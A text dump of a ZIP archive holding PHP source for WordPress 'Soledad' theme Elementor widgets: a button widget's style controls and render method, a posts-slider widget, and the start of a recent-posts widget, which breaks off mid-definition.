					'{{WRAPPER}} .pcbtn-wrapperin, {{WRAPPER}} .pcbtn-wrapper a.pcbtn, {{WRAPPER}} .pcbtn-wrapper a.pcbtn:before' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
				'condition'  => array( 'border_style!' => 'gradient' ),
			)
		);

		$this->add_control(
			'add_borders',
			array(
				'label'     => __( 'Add Borders to Button', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'border_style',
			array(
				'label'     => __( 'Borders Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => array(
					''         => 'Solid',
					'dotted'   => 'Dotted',
					'dashed'   => 'Dashed',
					'double'   => 'Double',
					'groove'   => 'Groove',
					'ridge'    => 'Ridge',
					'inset'    => 'Inset',
					'outset'   => 'Outset',
					'gradient' => 'Gradient',
				),
				'default'   => '',
				'condition' => array( 'add_borders' => 'yes' ),
			)
		);

		$this->add_responsive_control(
			'border_width',
			array(
				'label'      => __( 'Custom Button Borders Width', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pcbtn-bordered .pcbtn-wrapperin, {{WRAPPER}} .pcbtn-wrapper a.pcbtn:before' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
				'condition'  => array( 'add_borders' => 'yes' ),
			)
		);

		$this->add_control(
			'add_icon',
			array(
				'label'     => __( 'Add Icon to Button', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'button_icon',
			array(
				'label'     => esc_html__( 'Icon', 'soledad' ),
				'type'      => Controls_Manager::ICONS,
				'default'   => array(
					'value'   => 'fas fa-star',
					'library' => 'solid',
				),
				'condition' => array( 'add_icon' => 'yes' ),
			)
		);

		$this->add_control(
			'icon_pos',
			array(
				'label'     => __( 'Icon Position', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => array(
					'left'  => __('Before','soledad' ),
					'right' => __('After','soledad' ),
				),
				'default'   => 'left',
				'condition' => array( 'add_icon' => 'yes' ),
			)
		);

		$this->add_responsive_control(
			'icon_space',
			array(
				'label'     => __( 'Icon Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 300,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .pcbtn-icon-left span span i, {{WRAPPER}} .pcbtn-icon-left span span svg' => 'margin-right: {{SIZE}}px;',
					'{{WRAPPER}} .pcbtn-icon-right span span i, {{WRAPPER}} .pcbtn-icon-right span span svg' => 'margin-left: {{SIZE}}px;',
				),
				'condition' => array( 'add_icon' => 'yes' ),
			)
		);

		// Subtext
		$this->add_control(
			'add_subtext',
			array(
				'label'     => __( 'Add Subtext?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'subtext',
			array(
				'label'       => __( 'SubText', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'default'     => __( 'Example Subtext', 'soledad' ),
				'placeholder' => __( 'Add Your SubText Here', 'soledad' ),
				'label_block' => true,
				'condition'   => array( 'add_subtext' => 'yes' ),
			)
		);

		$this->add_responsive_control(
			'subtext_align',
			array(
				'label'     => __( 'Text & Subtext Alignment', 'elementor' ),
				'type'      => Controls_Manager::CHOOSE,
				'options'   => array(
					'left'   => array(
						'title' => __( 'Left', 'elementor' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'elementor' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'elementor' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .pcbtn-wrapperin' => 'text-align: {{VALUE}};',
				),
				'condition' => array( 'add_subtext' => 'yes' ),
			)
		);

		$this->add_responsive_control(
			'subtext_margin',
			array(
				'label'      => __( 'Subtext Margin', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em', '%' ),
				'default'    => array(
					'top'      => '',
					'right'    => '',
					'bottom'   => '',
					'left'     => '',
					'unit'     => 'px',
					'isLinked' => false,
				),
				'selectors'  => array(
					'{{WRAPPER}} span.pcbtn-subtext' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
				'condition'  => array( 'add_subtext' => 'yes' ),
			)
		);

		$this->add_control(
			'button_id',
			array(
				'label'       => __( 'Button ID', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'default'     => '',
				'title'       => __( 'Add your custom id WITHOUT the Pound key. e.g: my-id', 'soledad' ),
				'description' => __( 'Please make sure the ID is unique and not used elsewhere on the page this form is displayed. This field allows <code>A-z 0-9</code> & underscore chars without spaces.', 'soledad' ),
				'separator'   => 'before',
			)
		);

		$this->end_controls_section();

		// Design
		$this->start_controls_section(
			'section_design_content',
			array(
				'label' => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Button', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'button_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} span.pcbtn-content',
			)
		);

		$this->add_group_control(
			Group_Control_Text_Shadow::get_type(),
			array(
				'name'     => 'button_tshadow',
				'label'    => __( 'Text Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} span.pcbtn-content',
			)
		);

		$this->add_responsive_control(
			'icon_size',
			array(
				'label'     => __( 'Icon Font Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 500,
					),
				),
				'selectors' => array(
					'{{WRAPPER}}  span.pcbtn-content i'   => 'font-size: {{SIZE}}px;',
					'{{WRAPPER}}  span.pcbtn-content svg' => 'width: {{SIZE}}px;',
				),
				'condition' => array( 'add_icon' => 'yes' ),
			)
		);

		$this->add_control(
			'subtext_heading',
			array(
				'label'     => __( 'Subtext', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
				'condition' => array( 'add_subtext' => 'yes' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'      => 'subtext_typo',
				'label'     => __( 'SubText Typography', 'soledad' ),
				'selector'  => '{{WRAPPER}} span.pcbtn-subtext',
				'condition' => array( 'add_subtext' => 'yes' ),
			)
		);

		$this->add_group_control(
			Group_Control_Text_Shadow::get_type(),
			array(
				'name'      => 'button_subtshadow',
				'label'     => __( 'Text Shadow', 'soledad' ),
				'selector'  => '{{WRAPPER}} span.pcbtn-subtext',
				'condition' => array( 'add_subtext' => 'yes' ),
			)
		);

		$this->start_controls_tabs(
			'style_tabs'
		);

		$this->start_controls_tab(
			'style_normal_tab',
			array(
				'label' => __( 'Normal', 'soledad' ),
			)
		);

		$this->add_control(
			'btcolor',
			array(
				'label'     => __( 'Button Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} span.pcbtn-content' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'iconcolor',
			array(
				'label'     => __( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} span.pcbtn-content i'   => 'color: {{VALUE}};',
					'{{WRAPPER}} span.pcbtn-content svg' => 'fill: {{VALUE}};',
				),
				'condition' => array( 'add_icon' => 'yes' ),
			)
		);

		$this->add_control(
			'subcolor',
			array(
				'label'     => __( 'Subtext Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} span.pcbtn-subtext' => 'color: {{VALUE}};' ),
				'condition' => array( 'add_subtext' => 'yes' ),
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'        => 'btbg',
				'label'       => __( 'Button Background', 'soledad' ),
				'types'       => array( 'classic', 'gradient' ),
				'selector'    => '{{WRAPPER}} .pcbtn-wrapperin, {{WRAPPER}} .pcbtn-wrapper a.pcbtn',
				'label_block' => true,
				'separator'   => 'before',
			)
		);

		$this->add_control(
			'border_cl',
			array(
				'label'     => __( 'Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pcbtn-bordered .pcbtn-wrapperin' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'add_borders' => 'yes' ),
				'separator' => 'before',
			)
		);

		$this->add_control(
			'sborder_cl',
			array(
				'label'     => __( 'Second Borders Color( Gradient Borders )', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pcbtn-bordered .pcbtn-wrapperin' => 'border-image: linear-gradient( 360deg , {{border_cl.VALUE}}, {{VALUE}} ); border-image: -webkit-linear-gradient( 360deg , {{border_cl.VALUE}}, {{VALUE}} ); border-image-slice: 1;' ),
				'condition' => array(
					'add_borders'  => 'yes',
					'border_style' => 'gradient',
				),
			)
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			array(
				'name'      => 'box_shadow',
				'label'     => __( 'Box Shadow', 'soledad' ),
				'selector'  => '{{WRAPPER}} a.pcbtn',
				'separator' => 'before',
			)
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'style_hover_tab',
			array(
				'label' => __( 'Hover', 'soledad' ),
			)
		);

		$this->add_control(
			'bthcolor',
			array(
				'label'     => __( 'Button Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} a.pcbtn:hover span.pcbtn-content' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'iconhcolor',
			array(
				'label'     => __( 'Icon Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} a.pcbtn:hover span.pcbtn-content i' => 'color: {{VALUE}};',
					'{{WRAPPER}} a.pcbtn:hover span.pcbtn-content svg' => 'fill: {{VALUE}};',
				),
				'condition' => array( 'add_icon' => 'yes' ),
			)
		);

		$this->add_control(
			'subhcolor',
			array(
				'label'     => __( 'Subtext Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} a.pcbtn:hover span.pcbtn-subtext' => 'color: {{VALUE}};' ),
				'condition' => array( 'add_subtext' => 'yes' ),
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'        => 'bthbg',
				'label'       => __( 'Button Hover Background', 'soledad' ),
				'types'       => array( 'classic', 'gradient' ),
				'selector'    => '{{WRAPPER}} .pcbtn-wrapper a.pcbtn:before',
				'label_block' => true,
				'separator'   => 'before',
			)
		);

		$this->add_control(
			'border_hcl',
			array(
				'label'     => __( 'Borders Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pcbtn-wrapper a.pcbtn:before' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'add_borders' => 'yes' ),
				'separator' => 'before',
			)
		);

		$this->add_control(
			'sborder_hcl',
			array(
				'label'     => __( 'Second Borders Hover Color( Gradient Borders )', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pcbtn-wrapper a.pcbtn:before' => 'border-image: linear-gradient( 360deg , {{border_hcl.VALUE}}, {{VALUE}} ); border-image: -webkit-linear-gradient( 360deg , {{border_hcl.VALUE}}, {{VALUE}} ); border-image-slice: 1;' ),
				'condition' => array(
					'add_borders'  => 'yes',
					'border_style' => 'gradient',
				),
			)
		);

		$this->add_control(
			'hover_animation',
			array(
				'label' => esc_html__( 'Hover Animation', 'soledad' ),
				'type'  => Controls_Manager::HOVER_ANIMATION,
			)
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			array(
				'name'      => 'hbox_shadow',
				'label'     => __( 'Box Shadow on Hover', 'soledad' ),
				'selector'  => '{{WRAPPER}} a.pcbtn:hover',
				'separator' => 'before',
			)
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();
	}

	protected function render() {
		$settings       = $this->get_settings_for_display();
		$text           = $settings['text'] ? $settings['text'] : '';
		$link           = $settings['link']['url'] ? $settings['link']['url'] : '';
		$link_external  = $settings['link']['is_external'] ? ' target="_blank"' : '';
		$link_nofollow  = $settings['link']['nofollow'] ? ' rel="nofollow"' : '';
		$link_attr      = '';
		$link_attr_data = $settings['link']['custom_attributes'] ? $settings['link']['custom_attributes'] : '';
		if ( $link_attr_data ) {
			$link_attr = $this->get_data_link( $link_attr_data );
		}
		$button_id_attr = '';
		$button_id      = $settings['button_id'] ? $settings['button_id'] : '';
		if ( $button_id ) {
			$button_id      = str_replace( ' ', '', $button_id );
			$button_id_attr = ' id="' . $button_id . '"';
		}
		$add_icon     = $settings['add_icon'] ? $settings['add_icon'] : '';
		$add_borders  = $settings['add_borders'] ? $settings['add_borders'] : '';
		$border_style = $settings['border_style'] ? $settings['border_style'] : 'solid';
		$icon_pos     = $settings['icon_pos'] ? $settings['icon_pos'] : 'left';
		$align        = $settings['align'] ? $settings['align'] : 'none';
		$align_class  = 'pcbtn-align-' . $align;
		if ( isset( $settings['align_tablet'] ) && $settings['align_tablet'] ) {
			$align_class .= ' pcbtn-talign-' . $settings['align_tablet'];
		}
		if ( isset( $settings['align_mobile'] ) && $settings['align_mobile'] ) {
			$align_class .= ' pcbtn-malign-' . $settings['align_mobile'];
		}
		$add_subtext    = $settings['add_subtext'] ? $settings['add_subtext'] : '';
		$subtext        = $settings['subtext'] ? $settings['subtext'] : '';
		$button_icon    = $settings['button_icon'] ? $settings['button_icon'] : array();
		$icon_html      = '';
		$button_classes = 'pcbtn pcbtn-icon-' . $icon_pos;
		if ( $add_borders ) {
			$button_classes .= ' pcbtn-bordered pcbtn-bstyle-' . $border_style;
		}
		if ( 'yes' == $add_icon && ! empty( $button_icon ) ) {
			ob_start();
			\Elementor\Icons_Manager::render_icon( $button_icon );
			$icon_html = ob_get_clean();
		}
		if ( $settings['hover_animation'] ) {
			$button_classes .= ' elementor-animation-' . $settings['hover_animation'];
		}
		?>
		<div class="pcbtn-wrapper <?php echo $align_class; ?>">
			<a class="<?php echo $button_classes; ?>" 
								<?php
								if ( $link ) {
									?>
				href="<?php echo esc_url( $link ); ?>"<?php } echo $link_external . $link_nofollow . $link_attr . $button_id_attr; ?>>
				<span class="pcbtn-wrapperin">
					<span class="pcbtn-content">
					<?php
					if ( 'left' == $icon_pos ) :
						echo $icon_html;
endif;
					?>
					<?php echo do_shortcode( $text ); ?>
			<?php
			if ( 'right' == $icon_pos ) :
				echo $icon_html;
endif;
			?>
</span>
					<?php if ( 'yes' == $add_subtext && $subtext ) { ?>
					<span class="pcbtn-subtext"><?php echo do_shortcode( $subtext ); ?></span>
					<?php } ?>
				</span>
			</a>
		</div>
		<?php
	}
}
PK     N\N#
    3  inc/elementor/modules/penci-posts-slider/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciPostsSlider;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-posts-slider';
	}

	public function get_widgets() {
		return array( 'PenciPostsSlider' );
	}
}
PK     N\K1  1  G  inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciPostsSlider\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciPostsSlider extends Base_Widget {

	public function get_name() {
		return 'penci-posts-slider';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Widget Posts Slider', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-list';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'post', 'slider' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_page_layout', array(
			'label' => esc_html__( 'Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		$this->add_control( 'penci_style', array(
			'label'   => __( 'Select Style for This Slider', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'style-1',
			'options' => array(
				'style-1' => esc_html__( 'Style 1', 'soledad' ),
				'style-2' => esc_html__( 'Style 2', 'soledad' ),
				'style-3' => esc_html__( 'Style 3', 'soledad' ),
			)
		) );

		$this->add_control( 'penci_size', array(
			'label'                => __( 'Image Size Type', 'soledad' ),
			'type'                 => Controls_Manager::SELECT,
			'default'              => 'horizontal',
			'options'              => array(
				'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
				'square'     => esc_html__( 'Square Size', 'soledad' ),
				'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
				'custom'     => esc_html__( 'Custom', 'soledad' ),
			),
			'selectors'            => array( '{{WRAPPER}} .penci-image-holder:before' => '{{VALUE}}', ),
			'selectors_dictionary' => array(
				'horizontal' => 'padding-top: 66.6667%;',
				'square'     => 'padding-top: 100%;',
				'vertical'   => 'padding-top: 135.4%;',
			),
		) );
		$this->add_responsive_control( 'penci_img_ratio', array(
			'label'          => __( 'Image Ratio', 'soledad' ),
			'type'           => Controls_Manager::SLIDER,
			'default'        => array( 'size' => 0.66 ),
			'tablet_default' => array( 'size' => '' ),
			'mobile_default' => array( 'size' => 0.5 ),
			'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
			'selectors'      => array(
				'{{WRAPPER}} .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
			),
			'condition'      => array( 'penci_size' => 'custom' ),
		) );
		$this->add_control( 'thumb_size', array(
			'label'     => __( 'Custom Image size', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => $this->get_list_image_sizes( true ),
			'condition' => array( 'penci_size' => 'custom' ),
		) );

		$this->add_control( 'hide_pdate', array(
			'label'   => __( 'Hide post date?', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => '',
		) );
		$this->add_control( 'dis_lazyload', array(
			'label'   => __( 'Disable lazyload ?', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => '',
		) );
		$this->add_control( 'enable_autoplay', array(
			'label'   => __( 'Enable Autoplay Slider?', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => '',
		) );
		$this->add_control( '_title_length', array(
			'label'       => __( 'Custom Words Length for Post Titles', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'label_block' => true,
			'default'     => '10',
		) );
		$this->end_controls_section();
		$this->register_query_section_controls();
		$this->register_block_title_section_controls();
		$this->start_controls_section( 'section_pslider_style', array(
			'label' => __( 'Post Slider', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_control( 'heading_ptitle_style', array(
			'label' => __( 'Post Title', 'soledad' ),
			'type'  => Controls_Manager::HEADING
		) );

		$this->add_control( 'ptitle_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-widget-slider .penci-widget-slide-detail h4 a' => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-widget-slider .penci-widget-slide-detail h4'   => 'color: {{VALUE}};',
			)
		) );
		$this->add_control( 'ptitle_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-widget-slider .penci-widget-slide-detail h4 a:hover' => 'color: {{VALUE}};',
			)
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'ptitle_typo',
			'selector' => '{{WRAPPER}} .penci-widget-slider .penci-widget-slide-detail h4 a,{{WRAPPER}} .penci-widget-slider .penci-widget-slide-detail h4'
		) );

		$this->add_control( 'heading_pmeta_style', array(
			'label' => __( 'Post Meta', 'soledad' ),
			'type'  => Controls_Manager::HEADING
		) );

		$this->add_control( 'pmeta_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-widget-slide-detail .slide-item-date' => 'color: {{VALUE}};',
			)
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pmeta_typo',
			'selector' => '{{WRAPPER}} .penci-widget-slide-detail .slide-item-date'
		) );
		$this->end_controls_section();
		$this->register_block_title_style_section_controls();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings = $this->get_settings();

		$original_postype = $settings['posts_post_type'];

		if ( in_array( $original_postype, [
				'current_query',
				'related_posts'
			] ) && penci_elementor_is_edit_mode() && penci_is_builder_template() ) {
			$settings['posts_post_type'] = 'post';
		}

		$query_args = Query_Control::get_query_args( 'posts', $settings );
		if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) ) {
			$paged  = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
			$ppp    = $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
			$ppp    = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
			$offset = 0;
			if ( $ppp ) {
				$query_args['posts_per_page'] = $ppp;
			}
			if ( $settings['arposts_new'] == 'yes' ) {
				$query_args['paged'] = 1;
			}
			if ( 0 < $settings['offset'] ) {
				$offset = $settings['offset'];
			}

			if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
				$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
			}

			if ( $offset ) {
				$query_args['offset'] = $offset;
			}
		}
		$loop = new \WP_Query( $query_args );

		if ( ! $loop->have_posts() ) {
			return;
		}

		$rand = rand( 100, 10000 );

		$dis_lazyload = $settings['dis_lazyload'];
		if ( get_theme_mod( 'penci_disable_lazyload_layout' ) ) {
			$dis_lazyload = false;
		}

		$style = $settings['penci_style'] ? $settings['penci_style'] : 'style-1';

		$css_class = 'penci-block-vc penci_post-slider-sc';
		$dataauto  = 'false';
		if ( $settings['enable_autoplay'] ) {
			$dataauto = 'true';
		}

		$thumbsize = penci_featured_images_size();
		if ( 'horizontal' == $settings['penci_size'] ) {
			$thumbsize = 'penci-thumb';
		} else if ( 'square' == $settings['penci_size'] ) {
			$thumbsize = 'penci-thumb-square';
		} else if ( 'vertical' == $settings['penci_size'] ) {
			$thumbsize = 'penci-thumb-vertical';
		} else if ( 'custom' == $settings['penci_size'] ) {
			if ( $settings['thumb_size'] ) {
				$thumbsize = $settings['thumb_size'];
			}
		}
		?>
        <div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-block_content">
                <div id="penci-postslidewg-<?php echo sanitize_text_field( $rand ); ?>"
                     class="penci-owl-carousel swiper penci-owl-carousel-slider penci-widget-slider penci-post-slider-<?php echo $style; ?>"
                     data-lazy="true" data-auto="<?php echo $dataauto; ?>">
                    <div class="swiper-wrapper">
						<?php while ( $loop->have_posts() ) : $loop->the_post(); ?>
                            <div class="penci-slide-widget swiper-slide">
                                <div class="penci-slide-content">
									<?php if ( $style != 'style-3' ) { ?>

                                        <span <?php echo penci_layout_bg( penci_get_image_size_url( penci_image_srcset( get_the_ID(), $thumbsize ) ), ! $dis_lazyload ); ?> class="<?php echo penci_layout_bg_class(! $dis_lazyload);?> penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                                              title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                                            <?php echo penci_layout_img( penci_get_image_size_url( penci_image_srcset( get_the_ID(), $thumbsize ) ), get_the_title(), ! $dis_lazyload ); ?>
                                        </span>

                                        <a href="<?php the_permalink() ?>" class="penci-widget-slider-overlay"
                                           title="<?php the_title(); ?>"></a>
									<?php } else { ?>

                                        <a <?php echo penci_layout_bg( penci_get_image_size_url( penci_image_srcset( get_the_ID(), $thumbsize ) ), ! $dis_lazyload ); ?> href="<?php the_permalink() ?>" class="<?php echo penci_layout_bg_class(! $dis_lazyload);?> penci-image-holder"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php echo penci_layout_img( penci_get_image_size_url( penci_image_srcset( get_the_ID(), $thumbsize ) ), get_the_title(), ! $dis_lazyload ); ?>
                                        </a>

									<?php } ?>
                                    <div class="penci-widget-slide-detail">
                                        <h4>
                                            <a href="<?php the_permalink() ?>" rel="bookmark"
                                               title="<?php the_title(); ?>"><?php penci_trim_post_title( get_the_ID(), $settings['_title_length'] ); ?></a>
                                        </h4>
										<?php if ( ! $settings['hide_pdate'] ) : ?>
											<?php
											$date_format = get_option( 'date_format' );
											?>
											<?php if ( ! get_theme_mod( 'penci_show_modified_date' ) ) { ?>
                                                <span class="slide-item-date"><?php the_time( $date_format ); ?></span>
											<?php } else { ?>
                                                <span class="slide-item-date"><?php echo get_the_modified_date( $date_format ); ?></span>
											<?php } ?>
										<?php endif; ?>
                                    </div>
                                </div>
                            </div>
						<?php endwhile; ?>
                    </div>
                </div>

				<?php
				wp_reset_postdata();
				?>
            </div>
        </div>
		<?php
	}
}
PK     N\l'k      3  inc/elementor/modules/penci-recent-posts/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciRecentPosts;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-recent-posts';
	}

	public function get_widgets() {
		return array( 'PenciRecentPosts' );
	}
}
PK     N\&3  3  G  inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciRecentPosts\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciRecentPosts extends Base_Widget {

	public function get_name() {
		return 'penci-recent-posts';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Widget Recent/Popular Posts', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-list';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'posts' );
	}

	public function get_script_depends() {
		return [ 'penci_widgets_ajax' ];
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section(
			'section_page_layout', array(
				'label' => esc_html__( 'Layout', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'penci_size', array(
				'label'                => __( 'Image Size Type', 'soledad' ),
				'type'                 => Controls_Manager::SELECT,
				'default'              => '',
				'options'              => array(
					''           => esc_html__( 'Default', 'soledad' ),
					'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
					'square'     => esc_html__( 'Square Size', 'soledad' ),
					'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
					'custom'     => esc_html__( 'Custom', 'soledad' ),
				),
				'selectors'            => array( '{{WRAPPER}} .penci-image-holder:before' => '{{VALUE}}', ),
				'selectors_dictionary' => array(
					'horizontal' => 'padding-top: 66.6667%;',
					'square'     => 'padding-top: 100%;',
					'vertical'   => 'padding-top: 135.4%;',
				),
			)
		);
		$this->add_responsive_control(
			'penci_img_ratio', array(
				'label'          => __( 'Image Ratio', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'default'        => array( 'size' => 0.66 ),
				'tablet_default' => array( 'size' => '' ),
				'mobile_default' => array( 'size' => 0.5 ),
				'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
				'selectors'      => array(
					'{{WRAPPER}} .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
				),
				'condition'      => array( 'penci_size' => 'custom' ),
			)
		);
		$this->add_control(
			'thumb_size', array(
				'label'     => __( 'Custom Image size', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
